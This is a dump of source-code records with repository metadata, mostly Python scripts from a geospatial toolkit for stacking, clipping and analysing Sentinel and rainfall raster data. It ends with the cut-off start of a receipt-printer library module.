burned = rasterize(shapes=shapes, fill=0, out_shape=out_shape, transform=transform)\n show(burned)\n meta.update(dtype=rasterio.float32, nodata=0)\n # Optional to set nodata values to min of stat\n if no_data == 'y':\n cutoff = min(zone.values)\n print(\"Setting nodata cutoff to: \", cutoff)\n burned[burned < cutoff] = 0\n with rasterio.open(out_raster, 'w', **meta) as out:\n out.write_band(1, burned)\n print(\"Zonal Statistics Raster generated\")\n\n\ndef main():\n rst = r'X:\\temp\\temp_Marcel\\S-1_test\\Ramin\\Ramin_S1_Coh_resample_10.dat'\n #raster = rasterio.open(rst)\n\n fgdb = r'X:\\temp\\temp_Max\\Data\\joined\\threetepSeg_s1_s2_new_True_2_40_100_0_.shp'\n #vector = loadfc_as_gpd(fgdb)\n\n from rasterstats import zonal_stats\n stats = zonal_stats(fgdb, rst, categorical=True)\n print(stats)\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.602262020111084, "alphanum_fraction": 0.61105877161026, "avg_line_length": 29.615385055541992, "blob_id": "a0e4952a992df98b33fecffd96911f288ee3f927", "content_id": "d638e0d9a63386049ca87066940f4b9227d29d13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3183, "license_type": "no_license", "max_line_length": 87, "num_lines": 104, "path": "/__geometry_tools.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "from shapely.geometry import box\nfrom shapely.wkb import loads\nimport gdal\nimport ogr\nimport numpy as np\nfrom Wes_Tools.Accuracy_ import *\nfrom Wes_Tools.Plots_OBIA import *\nfrom Wes_Tools.__Segmentor import *\nfrom Wes_Tools.__CNN_segment import *\nfrom Wes_Tools.__Join_results import *\nfrom Wes_Tools.__geometry_tools import *\nfrom Wes_Tools.__utils import *\n\n\ndef fishnet(geometry, threshold):\n bounds = geometry.bounds\n xmin = bounds[0]\n xmax = bounds[2]\n ymin = bounds[1]\n ymax = bounds[3]\n n = int((xmax-xmin)/threshold)\n print('splitting will result in', n**2, ' polygons')\n ncols = int(xmax - xmin + 1)\n nrows = int(ymax - ymin + 1)\n result = []\n for i in range(0, (n)*threshold, threshold):\n for j in range(0, (n)*threshold, threshold):\n b = box(xmin+j, ymin+i, xmin+j+threshold, ymin+i+threshold)\n result.append(b)\n return result\n\n\ndef getRasterExtent(raster_path):\n xmins = []\n ymins = []\n xmaxs = []\n ymaxs = []\n projections = []\n\n raster = gdal.Open(raster_path)\n projections.append(raster.GetProjection())\n cols = raster.RasterXSize\n rows = raster.RasterYSize\n f_xmin, f_pwidth, f_xskew, f_ymax, f_yskew, f_pheight = raster.GetGeoTransform()\n xmins.append(f_xmin)\n xmaxs.append(f_xmin + (f_pwidth * cols))\n ymaxs.append(f_ymax)\n ymins.append(f_ymax + (f_pheight * rows))\n del raster\n\n x_min = max(xmins)\n y_min = max(ymins)\n x_max = min(xmaxs)\n y_max = min(ymaxs)\n UL = [x_min, y_max]\n LR = [x_max, y_min]\n\n \"\"\"\n shapely.geometry.box(minx, miny, maxx, maxy, ccw=True)\n \"\"\"\n return box(x_min, y_min, x_max, y_max)\n\n\ndef Tif_finder(input_path, custom_search_string=\".*[t][i][f]{1,2}$\"):\n data_path_input = input_path\n file_path_raster = []\n for root, dirs, files in os.walk(data_path_input, topdown=True):\n for file in files:\n if re.match(custom_search_string, file):\n file_path_raster.append(str(root + '/' + file))\n else:\n continue\n return file_path_raster\n\n\ndef find_matching_raster(vector_path, raster_path, search_string):\n raster_paths = Tif_finder(raster_path, search_string)\n i = 0\n candidates = []\n candidates_intersect = []\n for rst in raster_paths:\n extent_ = getRasterExtent(rst)\n file = ogr.Open(vector_path)\n shape = file.GetLayer(0)\n feature = shape.GetFeature(0)\n geom = loads(feature.GetGeometryRef().ExportToWkb())\n #geom = vector_path\n if geom.overlaps(extent_):\n candidates.append(rst)\n candidates_intersect.append(geom.buffer(0.0001).intersection(extent_).area)\n print(candidates, candidates_intersect)\n i += 1\n elif geom.within(extent_):\n candidates.append(rst)\n candidates_intersect.append(geom.buffer(0.0001).intersection(extent_).area)\n print(candidates, candidates_intersect)\n i += 1\n else:\n i += 1\n if len(candidates) != 0:\n return candidates[np.argmax(candidates_intersect)]\n else:\n return None\n print('no matching raster found')" }, { "alpha_fraction": 0.525324821472168, "alphanum_fraction": 0.5960399508476257, "avg_line_length": 42.99610900878906, "blob_id": "9b6cf4b200075a67865c8a778b9cdac064c269af", "content_id": "8c3a44c3dd2ce5776a44a140733bc8caa22f3a3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11313, "license_type": "no_license", "max_line_length": 130, "num_lines": 257, "path": "/Scripts/__vrt_script.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import glob\nimport gdal\nimport os\nimport re\nimport sys\nsys.path.append(\"X:/temp/temp_Max/\")\nimport numpy as np\nfrom Wes_Tools.Accuracy_ import *\nfrom Wes_Tools.Plots_OBIA import *\nfrom Wes_Tools.__Segmentor import *\nfrom Wes_Tools.__CNN_segment import *\nfrom Wes_Tools.__Join_results import *\nfrom Wes_Tools.create_vrt import *\nimport datetime\n\ndef main():\n data_path_input = r'\\\\141.20.140.91\\NAS_Rodinia\\Croptype\\Mowing_2017/'\n file_path_raster = Tif_finder(data_path_input, \".*[u][m].*[t][i][f]{1,2}$\")\n print(file_path_raster)\n vrt_options = gdal.BuildVRTOptions(separate=False)\n #gdal.BuildVRT(r'\\\\141.20.140.91/NAS_Rodinia/Croptype/Mowing_2017/vrt/' + 'vrt_SUM.vrt', file_path_raster, options=vrt_options)\n\n\ndef Maj_filter_output():\n data_path_input = r'\\\\141.20.140.91\\NAS_Rodinia\\Croptype\\Mowing_2017/'\n file_path_raster = Tif_finder(data_path_input, \".*[u][m].*[t][i][f]{1,2}$\")\n\n majority_f()\n print(file_path_raster)\n vrt_options = gdal.BuildVRTOptions(separate=False)\n #gdal.BuildVRT(r'\\\\141.20.140.91/NAS_Rodinia/Croptype/Mowing_2017/vrt/' + 'vrt_SUM.vrt', file_path_raster, options=vrt_options)\n\ndef main_2():\n data_path_input = \"X:/SattGruen/Analyse/GLSEG/Raster/spectemps1/\"\n # data_path_input = r'X:\\SattGruen\\Analyse\\Mowing_detection\\Data\\Raster\\AN3_BN1\\X0071_Y0039/'\n file_path_raster = Tif_finder(data_path_input, \".*[t][i][f]{1,2}$\") # \".*[B][M].*[t][i][f]{1,2}$\"\n print(file_path_raster)\n create_stack(file_path_raster, data_path_input + 'stacked.tif', n_bands=1, custom_subsetter=range(1, 2))\n print('finished')\n s1 = gdal.Open('X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/X0071_Y0039/stacked.tif')\n arr_mean = s1.ReadAsArray().mean(axis=0)\n arr_sd = s1.ReadAsArray().std(axis=0)\n\n arr_q_25 = np.quantile(s1.ReadAsArray(), 0.05, axis=0)\n arr_Q_75 = np.quantile(s1.ReadAsArray(), 0.975, axis=0)\n\n WriteArrayToDisk(arr_mean.squeeze() * 100, 'X:/SattGruen/Analyse/GLSEG/Raster/Ramin_S1/stacked_mean.tif',\n s1.GetGeoTransform())\n WriteArrayToDisk(arr_sd.squeeze() * 100, 'X:/SattGruen/Analyse/GLSEG/Raster/Ramin_S1/stacked_sd.tif',\n s1.GetGeoTransform())\n\n WriteArrayToDisk(arr_q_25.squeeze() * 100, 'X:/SattGruen/Analyse/GLSEG/Raster/Ramin_S1/arr_q_25.tif',\n s1.GetGeoTransform())\n WriteArrayToDisk(arr_Q_75.squeeze() * 100, 'X:/SattGruen/Analyse/GLSEG/Raster/Ramin_S1/arr_Q_75.tif',\n s1.GetGeoTransform())\n\n\ndef main_stack(folders_BRB):\n\n for folder in folders_BRB:\n force_tile = folder.split('/')[-1]\n print(force_tile)\n data_path_input = folder + '/'\n file_path_raster = Tif_finder(data_path_input, \".*[t][i][f]{1,2}$\") # \".*[B][M].*[t][i][f]{1,2}$\"\n if not file_path_raster:\n continue\n else:\n out_string = data_path_input + 'S1_stacked_' + force_tile + '.tif'\n create_stack(file_path_raster,out_string , n_bands=1, custom_subsetter=range(1, 2))\n\n\ndef coherence_stack(in_path, out_path):\n Tifs = Tif_finder(in_path)\n force_tiles = []\n asc_dec_list = []\n # get a list of all force tiles that are in folder\n for raster in Tifs:\n file_name = raster.split('/')[-1]\n file_name_substr = file_name.split('_')\n asc_dec_list.append(file_name_substr[-1].split('.')[0])\n force_tiles.append(file_name_substr[0] + '_' + file_name_substr[1])\n\n # iterate through force tiles and Asc/Dec and create a list of all rasters that should be written in one stack\n # also create a list of the respective dates for the MetaData\n for force_tile in np.unique(force_tiles):\n subs_force = [k for k in Tifs if force_tile in k]\n for asc_dec in np.unique(asc_dec_list):\n try:\n subs_force_asc = [k for k in subs_force if asc_dec in k]\n date_list = []\n for path_strings in subs_force_asc:\n print(path_strings)\n file_name = path_strings.split('/')[-1]\n file_name_substr = file_name.split('_')\n dateo = datetime.datetime.strptime(str(file_name_substr[2]), '%Y%m%d')\n print(dateo)\n # append every date twice because we have two bands per image... the easy way\n date_list.append(dateo)\n #date_list.append(dateo)\n # print(dateo.strftime('%Y-%m-%d'))\n out_string = out_path + force_tile + '/coherence_stack_2018_vv' + asc_dec + '.tif'\n create_stack(subs_force_asc, out_string, n_bands=1, custom_subsetter=range(2,3))\n Open_raster_add_meta_new_data(out_string, date_list)\n print(date_list, np.argsort(date_list))\n print(subs_force_asc, 'Right subset')\n except:\n continue\n\n\ndef rainstack(path_to_RADOLAN, out_path):\n\n Radolan_list = Tif_finder(path_to_RADOLAN, custom_search_string=\".*[i][l][y].*[e][n][v][i]{1,2}$\")\n date_list = []\n for file in Radolan_list:\n date = file.split('_')[1].split('//')[-1]\n\n date = datetime.datetime.strptime(str(date), '%Y%m%d')\n date_list.append(date)\n #create_stack(Radolan_list, out_path, n_bands=1, custom_subsetter=range(1,2))\n\n for tile in Tif_finder( r'X:\\SattGruen\\Analyse\\Mowing_detection\\Data\\Raster\\RADOLAN\\Tiles/'):\n\n Open_raster_add_meta_new_data(tile, date_list)\n\n\n\n\n\nif __name__ == '__main__':\n #in_ = r'\\\\141.20.140.91/SAN/_ProjectsII/Grassland/SattGruen/Analyse/Mowing_detection/Data/Raster/coherenceFORCETiles'\n #out = r'\\\\141.20.140.91\\SAN\\_ProjectsII\\Grassland\\SattGruen\\Analyse\\Mowing_detection\\Data/Raster/AN0_BN0/'\n #coherence_stack(in_, out)\n out = r'X:\\SattGruen\\Analyse\\Mowing_detection\\Data\\Raster\\RADOLAN/Radolan_stacked.tif'\n rainstack(r'X:\\SattGruen\\Analyse\\Mowing_detection\\Data\\Raster\\RADOLAN/Daily/', out)\n \"\"\"\n \n folders_BRB = [x[0] for x in os.walk(r'X:\\SattGruen\\Analyse\\Mowing_detection\\Data\\Raster\\AN3_BN1\\S-1/')]\n print(folders_BRB[1:])\n main_stack(folders_BRB[1:])\n folders_BRB = {\"X0065_Y0040\", \"X0065_Y0041\", \"X0066_Y0040\", \"X0066_Y0041\", \"X0066_Y0042\", \"X0067_Y0040\", \"X0067_Y0041\",\n \"X0067_Y0042\", \"X0067_Y0043\", \"X0067_Y0044\", \"X0067_Y0045\", \"X0068_Y0040\", \"X0068_Y0041\", \"X0068_Y0042\",\n \"X0068_Y0043\", \"X0068_Y0044\", \"X0068_Y0045\", \"X0069_Y0040\", \"X0069_Y0041\", \"X0069_Y0042\", \"X0069_Y0043\",\n \"X0069_Y0044\", \"X0069_Y0045\", \"X0069_Y0046\", \"X0069_Y0047\", \"X0070_Y0039\", \"X0070_Y0040\", \"X0070_Y0041\",\n \"X0070_Y0042\", \"X0070_Y0043\", \"X0070_Y0044\", \"X0070_Y0045\", \"X0070_Y0046\", \"X0070_Y0047\", \"X0071_Y0039\",\n \"X0071_Y0040\", \"X0071_Y0041\", \"X0071_Y0042\", \"X0071_Y0043\", \"X0071_Y0044\", \"X0071_Y0045\", \"X0071_Y0046\",\n \"X0071_Y0047\", \"X0072_Y0040\", \"X0072_Y0042\", \"X0072_Y0043\", \"X0072_Y0044\", \"X0072_Y0045\", \"X0072_Y0046\",\n \"X0072_Y0047\", \"X0073_Y0044\", \"X0073_Y0045\", \"X0073_Y0046\"}\n\n \n data_path_input = \"X:/SattGruen/Analyse/GLSEG/Raster/landsat_sentinel/\"\n file_path_raster = Tif_finder(data_path_input, \"^2016.*[S][.][t][i][f]{1,2}$\")\n print(file_path_raster)\n data_path_vrt = data_path_input + 'vrt/'\n if not os.path.exists(data_path_vrt):\n os.mkdir(data_path_vrt)\n\n topo = False\n soil = False\n\n temp_clim = False\n prec_clim = False\n\n temp_mete = False\n prec_mete = False\n smoist_mete = False\n spec_temp = True\n\n stacked_list = []\n for folder_BB in folders_BRB:\n spec_files_2018 = []\n env_folder = data_path_input + folder_BB + '/'\n spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*BLU_TSS.tif')\n spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*GRN_TSS.tif')\n spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*NDV_TSS.tif')\n spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*SW1_TSS.tif')\n if len(spec_files_2018) > 1:\n # TODO: create vrt stack instead of \"real\" stack\n name = env_folder + str(folder_BB) + 'Apr_Okt_stacked.tif'\n create_stack(spec_files_2018, name, n_bands=64, custom_subsetter=range(104, 168 ))\n stacked_list.append(name)\n else:\n pass\n \n vrt_options = gdal.BuildVRTOptions(separate=False)\n gdal.BuildVRT(data_path_vrt + 'vrt_global.vrt', stacked_list, options=vrt_options)\n \n data_path_input = \"X:/SattGruen/Analyse/GLSEG/Raster/S-1/\"\n ##########\n # Sentinel 1\n stacked_list = []\n for folder_BB in folders_BRB:\n spec_files_2018 = []\n env_folder = data_path_input + folder_BB + '/'\n spec_files_2018 = Tif_finder(env_folder)\n print(spec_files_2018)\n if len(spec_files_2018) > 1:\n # TODO: create vrt stack instead of \"real\" stack\n create_stack(spec_files_2018, env_folder + str(folder_BB) + '_stacked.tif', n_bands=2, custom_subsetter=range(1, 3))\n stacked_list.append(env_folder + str(folder_BB) + '_stacked.tif')\n else:\n pass\n vrt_options = gdal.BuildVRTOptions(separate=False)\n gdal.BuildVRT(data_path_vrt + 'vrt_global.vrt', stacked_list, options=vrt_options)\n\n \n import rasterio\n\n spec_files_2018 = []\n env_folder = \"X:/SattGruen/Analyse/GLSEG/Raster/Paulinenaue/X0068_Y0042/\"\n name_output_stack = env_folder + 'S1_S2_stack.tif'\n custom_subsetter = None\n #spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\2018*.tif')\n print(len(spec_files_2018))\n\n #spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*BLU_TSS.tif')\n #spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*GRN_TSS.tif')\n spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*stacked.tif')\n spec_files_2018 = spec_files_2018 + glob.glob(env_folder + '\\\\*X0068_Y0042_stacked_S1.tif')\n\n file_list = spec_files_2018\n print(file_list)\n # Read metadata of first file\n with rasterio.open(file_list[0]) as src0:\n meta = src0.meta\n\n # Update meta to reflect the number of layers\n meta.update(count=64+48)\n\n # Read each layer and write it to stack\n id_counter = 1\n with rasterio.open(name_output_stack, 'w', **meta) as dst:\n for id, layer in enumerate(file_list, start=1):\n print(id, layer)\n\n with rasterio.open(layer) as src1:\n print(src1.meta['count'])\n if src1.meta['count'] > 1:\n custom_subsetter = range(1, src1.meta['count']+1)\n for i in custom_subsetter:\n print(i)\n dst.write_band(id_counter, src1.read(i))\n id_counter += 1\n print('BAND=', id_counter)\n else:\n custom_subsetter = range(1, src1.meta['count']+1)\n for i in custom_subsetter:\n print(i)\n dst.write_band(id_counter, src1.read(i))\n id_counter += 1\n print('BAND=', id_counter)\n custom_subsetter = None\n src0 = None\n src1 = None\n\n\n\n\"\"\"\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5892409682273865, "alphanum_fraction": 0.6221278309822083, "avg_line_length": 32.155235290527344, "blob_id": "602cc9f125f55087729ee8567d388c3c33d3f670", "content_id": "32b24a866c9ba33472b7935f5f1bd50d93567aa3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9183, "license_type": "no_license", "max_line_length": 664, "num_lines": 277, "path": "/__utils.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import osr\nimport gdal\nimport ogr\nimport os\nimport re\nimport numpy as np\nimport rasterio\n\nfrom affine import Affine\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn import decomposition\nimport re\nimport rasterio.mask\nimport matplotlib.pyplot as plt\nfrom .Plots_OBIA import *\nimport cv2\nfrom skimage import exposure\n#from hubdc.core import *\n\n\ndef Shape_finder(input_path, pattern=\".*[s][h][p]{1,2}$\"):\n # Alternative...\n #print(glob.glob(data_path + '*.shp'))\n data_path_input = input_path\n file_path_raster = []\n for root, dirs, files in os.walk(data_path_input, topdown=True):\n for file in files:\n if re.match(pattern, file):\n file_path_raster.append(str(root + '/' + file))\n else:\n continue\n return file_path_raster\n\n\ndef Tif_finder(input_path, custom_search_string=\".*[t][i][f]{1,2}$\"):\n data_path_input = input_path\n file_path_raster = []\n for root, dirs, files in os.walk(data_path_input, topdown=True):\n for file in files:\n if re.match(custom_search_string, file):\n file_path_raster.append(str(root + '/' + file))\n else:\n continue\n return file_path_raster\n\n\ndef WriteArrayToDisk(array, data_path_name_str, gt, polygonite=False, fieldo=None, EPSG=3035):\n #################################\n # write raster file\n # 0 to nan\n # should be 2d\n # img_nan[img_nan == 0] = 255\n\n srs = osr.SpatialReference()\n srs.ImportFromEPSG(EPSG)\n\n string_tif = data_path_name_str + \".tif\"\n # prj = PROJCS[\"ETRS89-extended / LAEA Europe\",GEOGCS[\"ETRS89\",DATUM[\"European_Terrestrial_Reference_System_1989\",SPHEROID[\"GRS 1980\",6378137,298.257222101,AUTHORITY[\"EPSG\",\"7019\"]],TOWGS84[0,0,0,0,0,0,0],AUTHORITY[\"EPSG\",\"6258\"]],PRIMEM[\"Greenwich\",0,AUTHORITY[\"EPSG\",\"8901\"]],UNIT[\"degree\",0.0174532925199433,AUTHORITY[\"EPSG\",\"9122\"]],AUTHORITY[\"EPSG\",\"4258\"]],PROJECTION[\"Lambert_Azimuthal_Equal_Area\"],PARAMETER[\"latitude_of_center\",52],PARAMETER[\"longitude_of_center\",10],PARAMETER[\"false_easting\",4321000],PARAMETER[\"false_northing\",3210000],UNIT[\"metre\",1,AUTHORITY[\"EPSG\",\"9001\"]],AXIS[\"Northing\",NORTH],AXIS[\"Easting\",EAST],AUTHORITY[\"EPSG\",\"3035\"]]\"\n gdal.AllRegister()\n\n rows = array.shape[0]\n cols = array.shape[1]\n driver = gdal.GetDriverByName('GTiff')\n mean = driver.Create(string_tif, cols, rows, 1, gdal.GDT_Int16)\n mean.SetGeoTransform(gt)\n mean.SetProjection(srs.ExportToWkt())\n\n band = mean.GetRasterBand(1)\n\n band.WriteArray(array)\n gdal.SieveFilter(band, None, band, threshold=16)\n if polygonite:\n print('polygonize:....')\n outShapefile = data_path_name_str + \"polygonized\"\n driver = ogr.GetDriverByName(\"ESRI Shapefile\")\n\n if os.path.exists(outShapefile + \".shp\"):\n driver.DeleteDataSource(outShapefile + \".shp\")\n outDatasource = driver.CreateDataSource(outShapefile + \".shp\")\n outLayer = outDatasource.CreateLayer(outShapefile, srs=None)\n newField = ogr.FieldDefn('Cluster_nb', ogr.OFTInteger)\n field_2 = ogr.FieldDefn('field_nb', ogr.OFTInteger)\n outLayer.CreateField(newField)\n outLayer.CreateField(field_2)\n band.SetNoDataValue(0)\n band = mean.GetRasterBand(1)\n #band = mean\n gdal.Polygonize(band, None, outLayer, 0, [], callback=None)\n\n for i in range(outLayer.GetFeatureCount()):\n # print(i)\n feature = outLayer.GetFeature(i)\n feature.SetField('field_nb', fieldo)\n outLayer.CreateFeature(feature)\n feature = None\n outLayer = None\n outDatasource = None\n band = None\n mean = None\n sourceRaster = None\n\n\ndef create_mask_from_ndim(array):\n \"\"\"\n\n :param array: should be of shape bands, x, x\n :return:\n \"\"\"\n out_image_mask = array\n mask = np.any(out_image_mask != 0, axis=0)\n return mask\n\n\ndef getFeatures(gdf):\n \"\"\"Function to parse features from GeoDataFrame in such a manner that rasterio wants them\"\"\"\n import json\n return [json.loads(gdf.to_json())['features'][0]['geometry']]\n\n\ndef select_bands_sd(array_of_shape, max_valid_pixels_=500, max_bands=500):\n \"\"\"\n :param array_of_shape: bands, y, x\n :param max_valid_pixels_:\n :param max_bands:\n :return:\n \"\"\"\n shape_ = array_of_shape.shape\n arg_50 = (-np.nanstd(array_of_shape, axis=(1, 2))).argsort()[:max_bands]\n collected_bands = []\n for args in arg_50:\n valid_pixel = (sum(np.reshape(array_of_shape[args, :, :], (shape_[1] * shape_[2])) > 0))\n if valid_pixel < max_valid_pixels_:\n print('only:', valid_pixel, 'of:', max_valid_pixels_)\n elif len(collected_bands) == max_bands:\n break\n else:\n collected_bands.append(int(args))\n return collected_bands\n\n\ndef image_2_2d(image_of_shape):\n \"\"\"\n\n :param image_of_shape: bands, x, y\n :return: x*y, bands\n \"\"\"\n x, y, z = image_of_shape.shape\n image_2d = np.reshape(image_of_shape, (x, y * z))\n image_2d = np.moveaxis(image_2d.copy(), 0, 1)\n return image_2d\n\n\n\n\nimport datetime\n\n\ndef Open_raster_add_meta(inputFile):\n ds = openRasterDataset(inputFile)\n\n dateStrs = []\n decDates =[]\n\n for band in ds.bands():\n dateStr = band.metadataItem(key='Date', domain='FORCE', dtype=str)[0:10]\n year = dateStr[0:4]\n month = dateStr[5:7]\n day = dateStr[8:10]\n date = datetime.datetime(np.int(year), np.int(month), np.int(day))\n decDate = (date.timetuple().tm_yday - 1) / 365\n dateStrs.append(dateStr)\n decDates.append(str(np.round(decDate + 2018, 3)))\n\n ds = gdal.Open(inputFile)\n ds.SetMetadataItem('names', '{EVI}', 'TIMESERIES')\n ds.SetMetadataItem('dates', '{'+ str(', '.join(dateStrs)) + '}', 'TIMESERIES')\n ds.SetMetadataItem('wavelength', '{'+ str(', '.join(decDates)) + '}', 'TIMESERIES')\n ds = None\n\n\n\ndef Open_raster_add_meta_new_data(inputFile, list_of_dates):\n #ds = openRasterDataset(inputFile)\n\n dateStrs = []\n decDates = []\n\n for date in list_of_dates:\n dec_date = toYearFraction(date)\n print(dec_date)\n decDates.append(str(np.round(dec_date, 3)))\n dateStrs.append(date.strftime('%Y-%m-%d'))\n\n ds = gdal.Open(inputFile)\n ds.SetMetadataItem('names', '{EVI}', 'TIMESERIES')\n ds.SetMetadataItem('dates', '{'+ str(', '.join(dateStrs)) + '}', 'TIMESERIES')\n ds.SetMetadataItem('wavelength', '{'+ str(', '.join(decDates)) + '}', 'TIMESERIES')\n ds = None\n\n\ndef toYearFraction(date):\n from datetime import datetime as dt\n import time\n def sinceEpoch(date): # returns seconds since epoch\n return time.mktime(date.timetuple())\n s = sinceEpoch\n\n year = date.year\n startOfThisYear = dt(year=year, month=1, day=1)\n startOfNextYear = dt(year=year+1, month=1, day=1)\n\n yearElapsed = s(date) - s(startOfThisYear)\n yearDuration = s(startOfNextYear) - s(startOfThisYear)\n fraction = yearElapsed/yearDuration\n\n return date.year + fraction\n\n\ndef calc_raster_intersect(raster_1, raster_2, out_path=None):\n # IN ORDER TO CLIP BY EXTENT EVERY IMAGE\n \"\"\"\n clips raster_2 to the extent of raster_1\n :param raster_1:\n :param raster_2:\n :param out_path:\n :return:\n \"\"\"\n IMG1 = gdal.Open(raster_1)\n IMG2 = gdal.Open(raster_2)\n gt1 = IMG1.GetGeoTransform()\n gt2 = IMG2.GetGeoTransform()\n if gt1[0] < gt2[0]: # CONDITIONAL TO SELECT THE CORRECT ORIGIN\n gt3 = gt2[0]\n else:\n gt3 = gt1[0]\n if gt1[3] < gt2[3]:\n gt4 = gt1[3]\n else:\n gt4 = gt2[3]\n xOrigin = gt3\n yOrigin = gt4\n pixelWidth = gt1[1]\n pixelHeight = gt1[5]\n\n r1 = [gt1[0], gt1[3], gt1[0] + (gt1[1] * IMG1.RasterXSize), gt1[3] + (gt1[5] * IMG1.RasterYSize)]\n r2 = [gt2[0], gt2[3], gt2[0] + (gt2[1] * IMG2.RasterXSize), gt2[3] + (gt2[5] * IMG2.RasterYSize)]\n intersection = [max(r1[0], r2[0]), min(r1[1], r2[1]), min(r1[2], r2[2]), max(r1[3], r2[3])]\n\n xmin = intersection[0]\n xmax = intersection[2]\n ymin = intersection[3]\n ymax = intersection[1]\n\n # Specify offset and rows and columns to read\n xoff = int((xOrigin-gt2[0]) / pixelWidth)\n yoff = int((gt2[3]-yOrigin) / pixelWidth)\n xcount = int((xmax - xmin) / pixelWidth)\n ycount = int((ymax - ymin) / pixelWidth)\n srs = IMG1.GetProjectionRef() # necessary to export with SRS\n\n #img1 = IMG1.ReadAsArray()\n img2 = IMG2.ReadAsArray()#(xoff=xoff, yoff=yoff, xsize=xcount, ysize=ycount)\n print(img2.shape, 'Old')\n to_y = (yoff + ycount)\n to_x = (xoff + xcount)\n img2 = img2[:, yoff:to_y, xoff:to_x]\n print(img2.shape, 'NEW shape')\n target_ds = gdal.GetDriverByName('MEM').Create('', xcount, ycount, img2.shape[0], gdal.GDT_Int16)\n target_ds.SetGeoTransform((xmin, pixelWidth, 0, ymax, 0, pixelHeight,))\n target_ds.SetProjection(srs)\n\n for b in range(img2.shape[0]):\n target_ds.GetRasterBand(b + 1).WriteArray(img2[b, :, :])\n target_ds.GetRasterBand(b + 1).SetNoDataValue(-999)\n driver = gdal.GetDriverByName(\"GTiff\")\n copy_ds = driver.CreateCopy(out_path, target_ds, 0)\n copy_ds = None" }, { "alpha_fraction": 0.5912408828735352, "alphanum_fraction": 0.6256517171859741, "avg_line_length": 30.950000762939453, "blob_id": "9aa608a90bc4405ed80c3aeba93e1197743803ec", "content_id": "8623a374700d3d7489a55244ac353d76d4b7eae6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1918, "license_type": "no_license", "max_line_length": 107, "num_lines": 60, "path": "/create_vrt.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import os\nimport glob\nfrom osgeo import gdal\nfrom joblib import Parallel, delayed\nfrom osgeo import gdal\nimport re\nimport rasterio\nfrom .__utils import *\n\ndef create_stack(path_to_overlapping_rasters, name_output_stack, n_bands=70, custom_subsetter=range(1,70)):\n \"\"\"\n not finished yet...\n :param path_to_overlapping_rasters: list of paths to rasters\n :param n_bands: number of bands per raster; will be multiplied by number of files\n :return:\n \"\"\"\n file_list = path_to_overlapping_rasters\n print(file_list)\n # Read metadata of first file\n with rasterio.open(file_list[0]) as src0:\n meta = src0.meta\n\n # Update meta to reflect the number of layers\n meta.update(count=len(file_list)*n_bands)\n\n # Read each layer and write it to stack\n id_counter = 1\n with rasterio.open(name_output_stack, 'w', **meta) as dst:\n for id, layer in enumerate(file_list, start=1):\n print(id, layer)\n\n with rasterio.open(layer) as src1:\n for i in custom_subsetter:\n print(i)\n dst.write_band(id_counter, src1.read(i))\n id_counter += 1\n print('BAND=', id_counter)\n src0 = None\n src1 = None\n\n\ndef merge_vrt_tiles(folder_stacked_vrt, folder_stacked_vrt_global):\n\n # create global vrt 2018\n tiles_2018 = []\n tiles_2018 = tiles_2018 + (glob.glob(folder_stacked_vrt + '*.vrt'))\n print(tiles_2018)\n #tiles_2018 = sorted(tiles_2018, key=lambda i: int(os.path.splitext(os.path.basename(i))[0]))\n filename_2018 = folder_stacked_vrt_global + 'specclim' + \"_2018.vrt\"\n print(filename_2018)\n vrt_options = gdal.BuildVRTOptions(separate=False)\n gdal.BuildVRT(filename_2018, tiles_2018, options=vrt_options)\n\n\ndef mixs(num):\n try:\n ele = int(num)\n return (0, ele, '')\n except ValueError:\n return (1, num, '')\n\n" } ]
19
fabianoengler/pyescpos
https://github.com/fabianoengler/pyescpos
253bcc03a25535fffa26dc348f7d517bf24148c4
d2038f9539607de655d6fe508529c501a03d43d4
7b6e88cf39002679fb495159383bf5b374abf50a
refs/heads/master
2020-05-02T21:22:29.789074
2019-03-30T05:38:24
2019-03-30T05:38:24
178,218,161
1
1
Apache-2.0
2019-03-28T14:17:06
2019-03-15T15:23:13
2018-12-12T18:17:19
null
[ { "alpha_fraction": 0.6379386782646179, "alphanum_fraction": 0.6437138915061951, "avg_line_length": 27.85897445678711, "blob_id": "9e78918b57cf0e97bd5e4a0ea91d7b2097eb1260", "content_id": "cbd772c3662b09cec8b02464e9ca194a3c84f97b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2251, "license_type": "permissive", "max_line_length": 74, "num_lines": 78, "path": "/escpos/conn/__init__.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/conn/__init__.py\n#\n# Copyright 2018 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nfrom collections import namedtuple\n\nfrom .bt import BluetoothConnection\nfrom .dummy import DummyConnection\nfrom .file import FileConnection\nfrom .network import 